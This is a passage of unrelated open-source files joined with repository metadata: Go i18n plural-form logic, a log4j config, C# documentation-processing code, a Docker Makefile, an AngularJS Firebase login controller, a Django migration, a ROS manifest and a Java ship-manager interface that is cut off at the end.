// VarCount should return the variable count, based on the variable name.
VarCount(name string) int
}
// PluralMessage holds the registered Form and the corresponding Renderer.
// It is used on the `Message.AddPlural` method.
type PluralMessage struct {
Form PluralForm
Renderer Renderer
}
type independentPluralRenderer struct {
key string
printer *message.Printer
}
func newIndependentPluralRenderer(c *Catalog, loc *Locale, key string, msgs ...catalog.Message) (Renderer, error) {
builder := catalog.NewBuilder(catalog.Fallback(c.Locales[0].tag))
if err := builder.Set(loc.tag, key, msgs...); err != nil {
return nil, err
}
printer := message.NewPrinter(loc.tag, message.Catalog(builder))
return &independentPluralRenderer{key, printer}, nil
}
func (m *independentPluralRenderer) Render(args ...interface{}) (string, error) {
return m.printer.Sprintf(m.key, args...), nil
}
// A PluralFormDecoder should report and return whether
// a specific "key" is a plural one. This function
// can be implemented and set on the `Options` to customize
// the plural forms and their behavior in general.
//
// See the `DefaultPluralFormDecoder` package-level
// variable for the default implementation one.
type PluralFormDecoder func(loc context.Locale, key string) (PluralForm, bool)
// DefaultPluralFormDecoder is the default `PluralFormDecoder`.
// Supprots "zero", "one", "two", "other", "=x", "<x", ">x".
var DefaultPluralFormDecoder = func(_ context.Locale, key string) (PluralForm, bool) {
if isDefaultPluralForm(key) {
return pluralForm(key), true
}
return nil, false
}
func isDefaultPluralForm(s string) bool {
switch s {
case "zero", "one", "two", "other":
return true
default:
if len(s) > 1 {
ch := s[0]
if ch == '=' || ch == '<' || ch == '>' {
if isDigit(s[1]) {
return true
}
}
}
return false
}
}
// A PluralForm is responsible to decode
// locale keys to plural forms and match plural forms
// based on the given pluralCount.
//
// See `pluralForm` package-level type for a default implementation.
type PluralForm interface {
String() string
// the string is a verified plural case's raw string value.
// Field for priority on which order to register the plural cases.
Less(next PluralForm) bool
MatchPlural(pluralCount int) bool
}
type pluralForm string
func (f pluralForm) String() string {
return string(f)
}
func (f pluralForm) Less(next PluralForm) bool {
form1 := f.String()
form2 := next.String()
// Order by
// - equals,
// - less than
// - greater than
// - "zero", "one", "two"
// - rest is last "other".
dig1, typ1, hasDig1 := formAtoi(form1)
if typ1 == eq {
return true
}
dig2, typ2, hasDig2 := formAtoi(form2)
if typ2 == eq {
return false
}
// digits smaller, number.
if hasDig1 {
return !hasDig2 || dig1 < dig2
}
if hasDig2 {
return false
}
if form1 == "other" {
return false // other go to last.
}
if form2 == "other" {
return true
}
if form1 == "zero" {
return true
}
if form2 == "zero" {
return false
}
if form1 == "one" {
return true
}
if form2 == "one" {
return false
}
if form1 == "two" {
return true
}
if form2 == "two" {
return false
}
return false
}
func (f pluralForm) MatchPlural(pluralCount int) bool {
switch f {
case "other":
return true
case "=0", "zero":
return pluralCount == 0
case "=1", "one":
return pluralCount == 1
case "=2", "two":
return pluralCount == 2
default:
// <5 or =5
n, typ, ok := formAtoi(string(f))
if !ok {
return false
}
switch typ {
case eq:
return n == pluralCount
case lt:
return pluralCount < n
case gt:
return pluralCount > n
default:
return false
}
}
}
func makeSelectfVars(text string, vars []Var, insidePlural bool) ([]catalog.Message, []Var) {
newVars := sortVars(text, vars)
newVars = removeVarsDuplicates(newVars)
msgs := selectfVars(newVars, insidePlural)
return msgs, newVars
}
func selectfVars(vars []Var, insidePlural bool) []catalog.Message {
msgs := make([]catalog.Message, 0, len(vars))
for _, variable := range vars {
argth := variable.Argth
if insidePlural {
argth++
}
msg := catalog.Var(variable.Name, plural.Selectf(argth, variable.Format, variable.Cases...))
// fmt.Printf("%s:%d | cases | %#+v\n", variable.Name, variable.Argth, variable.Cases)
msgs = append(msgs, msg)
}
return msgs
}
const (
eq uint8 = iota + 1
lt
gt
)
func formType(ch byte) uint8 {
switch ch {
case '=':
return eq
case '<':
return lt
case '>':
return gt
}
return 0
}
func formAtoi(form string) (int, uint8, bool) {
if len(form) < 2 {
return -1, 0, false
}
typ := formType(form[0])
if typ == 0 {
return -1, 0, false
}
dig, err := strconv.Atoi(form[1:])
if err != nil {
return -1, 0, false
}
return dig, typ, true
}
func isDigit(ch byte) bool {
return '0' <= ch && ch <= '9'
}
| {'content_hash': 'e488202c3e762667465ce73ac23d024b', 'timestamp': '', 'source': 'github', 'line_count': 261, 'max_line_length': 115, 'avg_line_length': 20.973180076628353, 'alnum_prop': 0.6691633175009134, 'repo_name': 'kataras/iris', 'id': '75a01667d939c5f1577b0276e8f6b9855591d60e', 'size': '5474', 'binary': False, 'copies': '3', 'ref': 'refs/heads/master', 'path': 'i18n/internal/plural.go', 'mode': '33188', 'license': 'bsd-3-clause', 'language': [{'name': 'CSS', 'bytes': '15415'}, {'name': 'Dockerfile', 'bytes': '2408'}, {'name': 'Go', 'bytes': '2521098'}, {'name': 'HTML', 'bytes': '59845'}, {'name': 'JavaScript', 'bytes': '98505'}, {'name': 'Pug', 'bytes': '1236'}, {'name': 'Shell', 'bytes': '39'}]} |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE log4j:configuration PUBLIC "-//APACHE//DTD LOG4J 1.2//EN" "log4j.dtd">
<log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/">
<!-- [concole] -->
<appender name="myConsole" class="org.apache.log4j.ConsoleAppender">
<param name="encoding" value="GBK" />
<param name="target" value="System.out" />
<param name="threshold" value="info" />
<layout class="org.apache.log4j.PatternLayout">
<param name="ConversionPattern" value="%-5p %c{2} - %m%n" />
</layout>
</appender>
<!-- [error] -->
<appender name="ERROR-APPENDER" class="org.apache.log4j.DailyRollingFileAppender">
<param name="File" value="/data/logs/sqe/error/error.log" />
<param name="Append" value="true" />
<param name="encoding" value="GBK" />
<param name="threshold" value="error" />
<param name="DatePattern" value="'.'yyyy-MM-dd'.log'" />
<layout class="org.apache.log4j.PatternLayout">
<param name="ConversionPattern" value="%d %-5p %c{2} - %m%n" />
</layout>
</appender>
<!-- [info] -->
<appender name="INFO-APPENDER" class="org.apache.log4j.DailyRollingFileAppender">
<param name="File" value="/data/logs/sqe/info/info.log" />
<param name="Append" value="true" />
<param name="encoding" value="GBK" />
<param name="threshold" value="info" />
<param name="DatePattern" value="'.'yyyy-MM-dd'.log'" />
<layout class="org.apache.log4j.PatternLayout">
<param name="ConversionPattern" value="%d %-5p %c{2} - %m%n" />
</layout>
</appender>
<!-- Root Logger -->
<root>
<level value="${rootLevel}"></level>
<appender-ref ref="INFO-APPENDER" />
<appender-ref ref="myConsole" />
<appender-ref ref="ERROR-APPENDER" />
</root>
</log4j:configuration> | {'content_hash': 'cf9a936644d75d3ea36a7e705f7618b2', 'timestamp': '', 'source': 'github', 'line_count': 45, 'max_line_length': 83, 'avg_line_length': 39.62222222222222, 'alnum_prop': 0.635445877734156, 'repo_name': 'wingcrawler/shop_bbs', 'id': 'ab2daa0767f6e3298790af85b698d4eb90f81c4f', 'size': '1783', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/main/resources/log4j.xml', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'CSS', 'bytes': '2269598'}, {'name': 'HTML', 'bytes': '294987'}, {'name': 'Java', 'bytes': '951244'}, {'name': 'JavaScript', 'bytes': '3130107'}, {'name': 'PHP', 'bytes': '6307'}]} |
/**
* Prevajalnik za programski jezik PREV.
* <p>
* Celotna izvorna koda prevajalnika za programski jezik PREV je zbrana v paketu {@link compiler} in njegovih podpaketih.
*
* @author sliva
*/
package compiler; | {'content_hash': '1ac830c989edb3428b854b04cb55405d', 'timestamp': '', 'source': 'github', 'line_count': 8, 'max_line_length': 121, 'avg_line_length': 26.875, 'alnum_prop': 0.7302325581395349, 'repo_name': 'jarheadSLO/ProteusCompiler', 'id': 'f0809f7b14d6f493006e94e1a8e26ca621acbc2f', 'size': '215', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/compiler/package-info.java', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'Java', 'bytes': '288143'}]} |
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
using System.Xml.Linq;
namespace Dextem
{
/// <summary>
/// Controls name processing of method 'M:' and type 'T:' <member> nodes. This class cannot be inherited.
/// </summary>
public sealed class MethodTypeProcessor : BaseProcessor
{
/// <summary>
/// Creates a new instance of MethodTypeProcessor using the given ProcessorRegistry.
/// </summary>
/// <param name="registry">The ProcessorRegistry instance to use.</param>
public MethodTypeProcessor(ProcessorRegistry registry) : base(registry) { }
/// <summary>
/// Executes name processing of the current method 'M:' or type 'T:' <member> element.
/// </summary>
/// <param name="writer">The current StringWriter to use.</param>
/// <param name="root">The current root element to process.</param>
/// <param name="context">The current processing context.</param>
/// <returns>The updated processing context.</returns>
public override Dictionary<XName, string> Process(StringWriter writer, XElement root, Dictionary<XName, string> context)
{
Args.IsNotNull(() => writer, () => root, () => context);
var memberName = root.Attribute(XName.Get("name")).Value;
char memberType = memberName[0];
if (memberType == 'M')
{
memberName = MethodTypeProcessor.RearrangeTypeParametersInContext(root, memberName, context, false);
memberName = MethodTypeProcessor.RearrangeParametersInContext(root, memberName, context);
}
context["memberName"] = memberName;
if (memberType == 'T')
{
var typeNameStartIndex = 3 + context["assembly"].Length;
var scrubbedName = MethodTypeProcessor.ReplaceForTypeParameters(root, memberName, false, context);
var shortMemberName = scrubbedName.Substring(typeNameStartIndex);
writer.WriteLine("\n## {0}\n", shortMemberName);
context["typeName"] = shortMemberName;
}
context["memberType"] = memberType.ToString();
context["lastNode"] = memberName;
return base.Process(writer, root, context);
}
private static List<string> GetParameterTypes(string memberName)
{
var parameterTypes = new List<string>();
Match match = Regex.Match(memberName, "\\((.*)\\)");
// Groups[0] = (Type, Type, Type)
// Groups[1] = Type, Type, Type
if (match.Groups.Count < 1)
{
return parameterTypes;
}
string rawParameterString = string.Empty;
if (match.Groups.Count == 1)
{
rawParameterString = match.Groups[0].Value.Replace("(", "").Replace(")", "").Replace(" ", "");
}
if (match.Groups.Count == 2)
{
rawParameterString = match.Groups[1].Value.Replace(" ", "");
}
var rawParameterArray = rawParameterString.Split(',');
for (var i = 0; i < rawParameterArray.Length; i++)
{
var raw = rawParameterArray[i];
var isGeneric = (raw.Contains("{") || raw.Contains("<") || raw.Contains("}") || raw.Contains(">"));
var isOpenOnly = (isGeneric && !(raw.Contains("}") || raw.Contains(">")));
if (!isGeneric || isOpenOnly)
{
parameterTypes.Add(raw);
continue;
}
var isCloseOnly = (isGeneric && !(raw.Contains("{") || raw.Contains("<")));
if (isCloseOnly)
{
parameterTypes[parameterTypes.Count - 1] += ", " + raw;
continue;
}
}
return parameterTypes;
}
private static string RearrangeParametersInContext(XElement methodMember, string memberName, Dictionary<XName, string> context)
{
var parameterTypes = MethodTypeProcessor.GetParameterTypes(memberName);
List<XElement> paramElems = new List<XElement>(methodMember.Elements("param"));
if (parameterTypes.Count != paramElems.Count)
{
// the parameter count do not match, we can't do the rearrangement.
return memberName;
}
string newParamString = "";
for (int i = 0; i < paramElems.Count; i++)
{
XElement paramElem = paramElems[i];
string paramName = paramElem.Attribute(XName.Get("name")).Value;
string paramType = parameterTypes[i];
if (newParamString.Length > 0)
{
newParamString += ", ";
}
newParamString += paramName;
context[paramName] = paramType;
}
string newMethodPrototype = Regex.Replace(memberName,
"\\(.*\\)",
"(" + newParamString + ")");
return newMethodPrototype;
}
private static string RearrangeTypeParametersInContext(XElement member, string memberName, Dictionary<XName, string> context, bool skipReplace)
{
var methodPrototype = memberName;
if (!skipReplace)
{
methodPrototype = MethodTypeProcessor.ReplaceForTypeParameters(member, memberName, true, context);
}
var matches = Regex.Matches(methodPrototype, "\\{(`\\d)+}"); //Matches: {'0} && {'1'2} //M:GraphExec.BaseEventAggregator.GetEventType(GraphExec.IHandle{'0})
var typedParams = matches.ToList();
var replaceTypedParamString = typedParams.Select(x => x.Groups[0].Value);
if (!replaceTypedParamString.Any())
{
// nothing to do...
return methodPrototype;
}
var paramElems = new List<XElement>(member.Elements("typeparam"));
var newParamString = "";
var indexList = new List<int>();
foreach (var replaceString in replaceTypedParamString)
{
newParamString = "<";
var scrubBrackets = replaceString.Substring(1, replaceString.Length - 3);
indexList = scrubBrackets.Split('\'').Cast<int>().ToList(); // "1, 2"
if (indexList.Count() <= paramElems.Count)
{
foreach (var index in indexList)
{
if (newParamString != "<")
{
newParamString += ", ";
}
var typeParam = paramElems[index];
var paramType = typeParam.Attribute(XName.Get("name")).Value;
newParamString += paramType;
}
}
else
{
newParamString += "*Unknown*";
}
newParamString += ">";
methodPrototype = methodPrototype.Replace(replaceString, newParamString);
}
return methodPrototype;
}
private static string ReplaceForTypeParameters(XElement methodMember, string memberName, bool methodType, Dictionary<XName, string> context)
{
string methodPrototype = memberName;
var matches = Regex.Matches(methodPrototype, "\\`(\\d)"); //Matches: '1 and 1 //M:GraphExec.BaseEventAggregator.GetEventType`1
// Match 1 = Type Parameter Count ('1)
if (matches.Count == 0)
{
return methodPrototype;
}
var typeParamCount = Convert.ToInt32(matches[0].Groups[1].Value);
List<XElement> paramElems = new List<XElement>(methodMember.Elements("typeparam"));
if (typeParamCount != paramElems.Count)
{
System.Diagnostics.Debug.WriteLine("Type Parameters and TypeParamList not equal for replacing generic types' type parameters.");
// the parameter count do not match, we can't do the rearrangement.
return methodPrototype;
}
string newParamString = "";
for (int i = 0; i < paramElems.Count; i++)
{
XElement paramElem = paramElems[i];
string paramType = paramElem.Attribute(XName.Get("name")).Value;
if (newParamString != "")
{
newParamString += ", ";
}
newParamString += paramType;
context[paramType] = paramType;
}
var paramMatches = Regex.Matches(methodPrototype, "\\{``\\d}");
if (paramMatches.Count > 0) // {``0} and {``1} and {``2``3}
{
methodPrototype = MethodTypeProcessor.RearrangeTypeParametersInContext(methodMember, methodPrototype, context, true);
}
if (methodType)
{
string newMethodPrototype = Regex.Replace(methodPrototype,
"\\``\\d",
"<" + newParamString + ">");
return newMethodPrototype;
}
else
{
string newMethodPrototype = Regex.Replace(methodPrototype,
"\\`\\d",
"<" + newParamString + ">");
return newMethodPrototype;
}
}
}
}
| {'content_hash': 'e2e10abfe5e78f82de6d1a28577a327a', 'timestamp': '', 'source': 'github', 'line_count': 264, 'max_line_length': 168, 'avg_line_length': 37.25757575757576, 'alnum_prop': 0.5262301748678324, 'repo_name': 'GraphExec/Dextem', 'id': '1e7181d4fb0f1d115fd268143b5be7a6c63dbb68', 'size': '9838', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'Dextem/MethodTypeProcessor.cs', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C#', 'bytes': '45999'}]} |
SHORT_NAME := deis-integration
export GO15VENDOREXPERIMENT=1
# dockerized development environment variables
REPO_PATH := github.com/arschles/${SHORT_NAME}
DEV_ENV_IMAGE := quay.io/deis/go-dev:0.2.0
DEV_ENV_WORK_DIR := /go/src/${REPO_PATH}
DEV_ENV_PREFIX := docker run --rm -v ${CURDIR}:${DEV_ENV_WORK_DIR} -w ${DEV_ENV_WORK_DIR}
DEV_ENV_CMD := ${DEV_ENV_PREFIX} ${DEV_ENV_IMAGE}
LDFLAGS := "-s -X main.version=${VERSION}"
BINDIR := ./rootfs/bin
REGISTRY ?= ${DEV_REGISTRY}
IMAGE_PREFIX ?= arschles
VERSION ?= git-$(shell git rev-parse --short HEAD)
IMAGE := ${REGISTRY}${IMAGE_PREFIX}/${SHORT_NAME}:${VERSION}
bootstrap:
${DEV_ENV_CMD} glide up
build:
mkdir -p ${BINDIR}
${DEV_ENV_PREFIX} -e CGO_ENABLED=0 ${DEV_ENV_IMAGE} go build -a -installsuffix cgo -ldflags '-s' -o $(BINDIR)/boot || exit 1
docker-build:
# build the main image
docker build --rm -t ${IMAGE} rootfs
docker-push: docker-build
docker push ${IMAGE}
| {'content_hash': '2b05663106b54cbf9c43c7bc054ba504', 'timestamp': '', 'source': 'github', 'line_count': 33, 'max_line_length': 125, 'avg_line_length': 28.242424242424242, 'alnum_prop': 0.6856223175965666, 'repo_name': 'arschles/deis-integration', 'id': 'db4f5af0ee37baebd2024d1d5ca5e452192a4ff6', 'size': '932', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'Makefile', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'Go', 'bytes': '3270'}, {'name': 'Makefile', 'bytes': '932'}]} |
"use strict";
angular.module('myApp.login', ['firebase.utils', 'firebase.auth', 'ngRoute'])
.config(['$routeProvider', function($routeProvider) {
$routeProvider.when('/login', {
controller: 'LoginCtrl',
templateUrl: 'login/login.html'
});
}])
.controller('LoginCtrl', ['$scope', 'Auth', '$location', 'fbutil', function($scope, Auth, $location, fbutil) {
$scope.email = null;
$scope.pass = null;
$scope.confirm = null;
$scope.createMode = false;
// $scope.login = function(email, pass) {
// $scope.err = null;
// Auth.$authWithPassword({ email: email, password: pass }, {rememberMe: true})
// .then(function(/* user */) {
// $location.path('/account');
// }, function(err) {
// $scope.err = errMessage(err);
// });
// };
$scope.googleLogin = function() {
/*console.log('s', $scope);
console.log('a', Auth);
console.log('l', $location);
console.log('f', fbutil);*/
Auth.$authWithOAuthPopup("google")
.then(function(authData) {
console.log("Logged in as:", authData.uid);
})
.catch(function(error) {
console.error("Authentication failed:", error);
});
};
// $scope.createAccount = function() {
// $scope.err = null;
// if( assertValidAccountProps() ) {
// var email = $scope.email;
// var pass = $scope.pass;
// // create user credentials in Firebase auth system
// Auth.$createUser({email: email, password: pass})
// .then(function() {
// // authenticate so we have permission to write to Firebase
// return Auth.$authWithPassword({ email: email, password: pass });
// })
// .then(function(user) {
// // create a user profile in our data store
// var ref = fbutil.ref('users', user.uid);
// return fbutil.handler(function(cb) {
// ref.set({email: email, name: name||firstPartOfEmail(email)}, cb);
// });
// })
// .then(function(/* user */) {
// // redirect to the account page
// $location.path('/account');
// }, function(err) {
// $scope.err = errMessage(err);
// });
// }
// };
function assertValidAccountProps() {
if( !$scope.email ) {
$scope.err = 'Please enter an email address';
}
else if( !$scope.pass || !$scope.confirm ) {
$scope.err = 'Please enter a password';
}
else if( $scope.createMode && $scope.pass !== $scope.confirm ) {
$scope.err = 'Passwords do not match';
}
return !$scope.err;
}
function errMessage(err) {
return angular.isObject(err) && err.code? err.code : err + '';
}
function firstPartOfEmail(email) {
return ucfirst(email.substr(0, email.indexOf('@'))||'');
}
function ucfirst (str) {
// inspired by: http://kevin.vanzonneveld.net
str += '';
var f = str.charAt(0).toUpperCase();
return f + str.substr(1);
}
}]); | {'content_hash': '7c44fbb8056731391188daa0ba1384ea', 'timestamp': '', 'source': 'github', 'line_count': 97, 'max_line_length': 112, 'avg_line_length': 32.350515463917525, 'alnum_prop': 0.5274059910771192, 'repo_name': 'chilltemp/smartthings-dashboard', 'id': 'a23926b71c74f3c706e3d978f28e4216d68c5a5d', 'size': '3138', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'app/login/login.js', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '21668'}, {'name': 'HTML', 'bytes': '15180'}, {'name': 'JavaScript', 'bytes': '34852'}]} |
title: arg41
type: products
image: /img/Screen Shot 2017-05-09 at 11.56.54 AM.png
heading: g41
description: lksadjf lkasdjf lksajdf lksdaj flksadj flksa fdj
main:
heading: Foo Bar BAz
description: |-
***This is i a thing***kjh hjk kj
# Blah Blah
## Blah
### Baah
image1:
alt: kkkk
---
| {'content_hash': '9504474a28142b510a69fc2a5c1da3c2', 'timestamp': '', 'source': 'github', 'line_count': 15, 'max_line_length': 61, 'avg_line_length': 22.333333333333332, 'alnum_prop': 0.6656716417910448, 'repo_name': 'pblack/kaldi-hugo-cms-template', 'id': '6ed8e6b8f1062e45f514a82947ed21ee3eb15641', 'size': '339', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'site/content/pages2/arg41.md', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '94394'}, {'name': 'HTML', 'bytes': '18889'}, {'name': 'JavaScript', 'bytes': '10014'}]} |
package org.ybiquitous.messages.generator;
import static org.apache.velocity.runtime.RuntimeConstants.RESOURCE_LOADER;
import static org.apache.velocity.runtime.RuntimeConstants.RUNTIME_LOG_LOGSYSTEM_CLASS;
import java.net.URL;
import java.util.Properties;
import org.apache.velocity.runtime.log.NullLogChute;
import org.apache.velocity.runtime.log.SystemLogChute;
import org.apache.velocity.runtime.resource.loader.URLResourceLoader;
final class VelocityConfig extends Properties {
private static final long serialVersionUID = 1L;
private static final boolean verbose = false;
public VelocityConfig(URL url) {
set(RESOURCE_LOADER, "url");
set("url.resource.loader.class", URLResourceLoader.class);
set("url.resource.loader.root", getParent(url));
set("url.resource.loader.cache", false);
set("url.resource.loader.modificationCheckInterval", 0);
if (verbose) {
set(RUNTIME_LOG_LOGSYSTEM_CLASS, SystemLogChute.class);
set(SystemLogChute.RUNTIME_LOG_LEVEL_KEY, "trace");
set(SystemLogChute.RUNTIME_LOG_SYSTEM_ERR_LEVEL_KEY, "trace");
} else {
set(RUNTIME_LOG_LOGSYSTEM_CLASS, NullLogChute.class);
}
}
private String getParent(URL url) {
String urlStr = url.toString();
return urlStr.substring(0, urlStr.lastIndexOf('/'));
}
private void set(String key, Object value) {
if (value instanceof String) {
setProperty(key, (String) value);
} else if (value instanceof Class<?>) {
setProperty(key, ((Class<?>) value).getCanonicalName());
} else {
setProperty(key, value.toString());
}
}
}
| {'content_hash': 'f8f93b6096686e4203d5b0f8b5b8e828', 'timestamp': '', 'source': 'github', 'line_count': 48, 'max_line_length': 87, 'avg_line_length': 35.854166666666664, 'alnum_prop': 0.6717024985473562, 'repo_name': 'ybiquitous/messages', 'id': '3bdfa40b433233dbd8ba507d82784ecaec132ee2', 'size': '1721', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'messages-generator/src/main/java/org/ybiquitous/messages/generator/VelocityConfig.java', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'Java', 'bytes': '32560'}, {'name': 'Scala', 'bytes': '3937'}]} |
extern "C"
{
#endif
void sw_log_error_exit(const char *fmt, ...);
void sw_log_error(const char *fmt, ...);
void sw_log_warn(const char *fmt, ...);
void sw_log_msg(const char *fmt, ...);
void sw_log_debug(const char *fmt, ...);
#ifdef __cplusplus
}
#endif
#endif
| {'content_hash': '9cf285d1910018de7ee794f299c446c5', 'timestamp': '', 'source': 'github', 'line_count': 15, 'max_line_length': 45, 'avg_line_length': 17.666666666666668, 'alnum_prop': 0.630188679245283, 'repo_name': 'shuisheng918/libswevent', 'id': 'bd2122d2d0ab5b5b7c5eb9130484851ed71d6042', 'size': '327', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'sw_log.h', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C', 'bytes': '44833'}, {'name': 'Makefile', 'bytes': '752'}]} |
<?php
// FrontendBundle:Backup/generator-bundle/Sensio/Bundle/GeneratorBundle/Resources/skeleton/controller:ControllerTest.php.twig
return array (
);
| {'content_hash': '7923ef83baeee592ff513d0cf996565a', 'timestamp': '', 'source': 'github', 'line_count': 5, 'max_line_length': 125, 'avg_line_length': 30.2, 'alnum_prop': 0.8211920529801324, 'repo_name': 'pacordovad/project3', 'id': 'b5ec82006a7a8c55f5a9f2a5a43f2df737d0f813', 'size': '151', 'binary': False, 'copies': '2', 'ref': 'refs/heads/master', 'path': 'app/cache/prod/assetic/config/4/4bff9131d9cad393746ebb5baf0ce4ae.php', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '54067'}, {'name': 'JavaScript', 'bytes': '187690'}, {'name': 'PHP', 'bytes': '4727665'}]} |
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('opendebates', '0021_submission_local_votes'),
]
operations = [
migrations.AddField(
model_name='sitemode',
name='announcement_body',
field=models.TextField(null=True, blank=True),
),
migrations.AddField(
model_name='sitemode',
name='announcement_headline',
field=models.CharField(max_length=255, null=True, blank=True),
),
migrations.AddField(
model_name='sitemode',
name='announcement_link',
field=models.URLField(null=True, blank=True),
),
]
| {'content_hash': '117690c8d837afc902b5fac88792d4bd', 'timestamp': '', 'source': 'github', 'line_count': 28, 'max_line_length': 74, 'avg_line_length': 27.428571428571427, 'alnum_prop': 0.5807291666666666, 'repo_name': 'ejucovy/django-opendebates', 'id': '977c17a3025a215065eac5d26a2a823c541a2395', 'size': '792', 'binary': False, 'copies': '1', 'ref': 'refs/heads/develop', 'path': 'opendebates/migrations/0022_auto_20160420_1423.py', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'CSS', 'bytes': '35435'}, {'name': 'HTML', 'bytes': '53283'}, {'name': 'JavaScript', 'bytes': '18710'}, {'name': 'Python', 'bytes': '206230'}, {'name': 'Shell', 'bytes': '2040'}]} |
<?xml version="1.0"?>
<package>
<name>nord_stupid</name>
<version>0.0.1</version>
<description>Mission control</description>
<maintainer email="[email protected]">Magnus Thor Benediktsson</maintainer>
<maintainer email="[email protected]">Gustav Sandström</maintainer>
<maintainer email="[email protected]">Tobias Lundin</maintainer>
<maintainer email="[email protected]">Lucas Åström</maintainer>
<license>MIT</license>
<url>https://github.com/Jinxit/nordic-robotics</url>
<buildtool_depend>catkin</buildtool_depend>
<build_depend>roscpp</build_depend>
<build_depend>std_msgs</build_depend>
<build_depend>nord_messages</build_depend>
<build_depend>roslib</build_depend>
<run_depend>roscpp</run_depend>
<run_depend>std_msgs</run_depend>
<run_depend>message_runtime</run_depend>
<run_depend>nord_messages</run_depend>
<run_depend>roslib</run_depend>
<export>
</export>
</package> | {'content_hash': '93cd75054833a7779eaaf6edefd67de4', 'timestamp': '', 'source': 'github', 'line_count': 32, 'max_line_length': 72, 'avg_line_length': 28.53125, 'alnum_prop': 0.723986856516977, 'repo_name': 'nordic-robotics/nord_stupid', 'id': '548fb76ed972560815328eeef264d93a097fece8', 'size': '916', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'package.xml', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C++', 'bytes': '23189'}]} |
// ReSharper disable All
namespace OpenTl.Schema
{
using System;
using System.Collections;
using System.Text;
using OpenTl.Schema;
using OpenTl.Schema.Serialization.Attributes;
[Serialize(0x6242c773)]
public sealed class TFileHash : IFileHash
{
[SerializationOrder(0)]
public int Offset {get; set;}
[SerializationOrder(1)]
public int Limit {get; set;}
[SerializationOrder(2)]
public byte[] Hash {get; set;}
}
}
| {'content_hash': '7a1757851ed642d798470facd18d95c3', 'timestamp': '', 'source': 'github', 'line_count': 25, 'max_line_length': 47, 'avg_line_length': 18.8, 'alnum_prop': 0.674468085106383, 'repo_name': 'OpenTl/OpenTl.Schema', 'id': '43deafbaf5530fb456dae21690ada51f5f70b141', 'size': '472', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/OpenTl.Schema/_generated/_Entities/FileHash/TFileHash.cs', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C#', 'bytes': '810786'}, {'name': 'F#', 'bytes': '19501'}, {'name': 'PowerShell', 'bytes': '1288'}]} |
package com.eaw1805.data.managers.beans;
import com.eaw1805.data.model.Game;
import com.eaw1805.data.model.Nation;
import com.eaw1805.data.model.fleet.Ship;
import com.eaw1805.data.model.map.Position;
import com.eaw1805.data.model.map.Region;
import com.eaw1805.data.model.map.Sector;
import java.math.BigInteger;
import java.util.List;
import java.util.Map;
/**
* The interface of the ShipManagerBean.
*/
public interface ShipManagerBean extends EntityBean {
/**
* get the Ship from the database that corresponds to the input id.
*
* @param entityID the id of the Entity object.
* @return an Entity object.
*/
Ship getByID(int entityID);
/**
* adding a new entry into the database, according to the input object it
* receives.
*
* @param value the Ship tha we want to add.
*/
void add(final Ship value);
/**
* updating an entry into the database, according to the input object it
* receives.
*
* @param value the Ship tha we want to update.
*/
void update(final Ship value);
/**
* Delete the input Ship from the database.
*
* @param entity the Ship tha we want to delete
*/
void delete(Ship entity);
/**
* Listing all the Ships from the database.
*
* @return a list of all the Ships that exist inside the table Avatar.
*/
List<Ship> list();
/**
* Listing all the Ships from the database for the specific game.
*
* @param thisGame the game to select.
* @return a list of all the Ships.
*/
List<Ship> listByGame(final Game thisGame);
/**
* Listing all the Ships from the database members of the specific fleet.
*
* @param thisGame the game to select.
* @param fleet the fleet to select.
* @return a list of all the Ships.
*/
List<Ship> listByFleet(final Game thisGame, final int fleet);
/**
* Listing all the Ships from the database at the specific position owned by the specific nation.
*
* @param thisPosition the position to select.
* @param nation the nation to select.
* @return a list of all the Ships.
*/
List<Ship> listByPositionNation(final Position thisPosition, final Nation nation);
/**
* Listing all the ships from the database that belongs in the specific game and nation.
*
* @param thisGame The Game.
* @param thisNation The Nation.
* @return A list of all the Ships.
*/
List<Ship> listGameNation(final Game thisGame, final Nation thisNation);
/**
* Listing all the Ships from the database at the specific position.
*
* @param thisGame the game to select.
* @param nation the nation to select.
* @param region the region to select.
* @return a list of all the Ships.
*/
List<Ship> listGameNationRegion(final Game thisGame, final Nation nation, final Region region);
/**
* List all ships in the specific position and game.
*
* @param position The position to list the ships that are on it.
* @return A list of ships.
*/
List<Ship> listByGamePosition(final Position position);
/**
* Listing all the free Ships from the database for a specific game.
*
* @param thisGame the game to select.
* @return a list of all free Ships.
*/
List<Ship> listFreeByGame(final Game thisGame);
/**
* Listing all the free Ships from the database owned by the specific nation..
*
* @param thisGame the game to select.
* @param nation the nation to select.
* @return a list of all free Ships.
*/
List<Ship> listFreeByGameNation(final Game thisGame, final Nation nation);
/**
* Listing all the free Ships from the database owned by the specific nation..
*
* @param thisGame the game to select.
* @param nation the nation to select.
* @param region the region to select.
* @return a list of all free Ships.
*/
List<Ship> listFreeByGameNationRegion(final Game thisGame, final Nation nation, final Region region);
/**
* Listing sectors with ships belonging to more than 1 owner.
*
* @param thisGame the game to select.
* @return a list of all the sectors.
*/
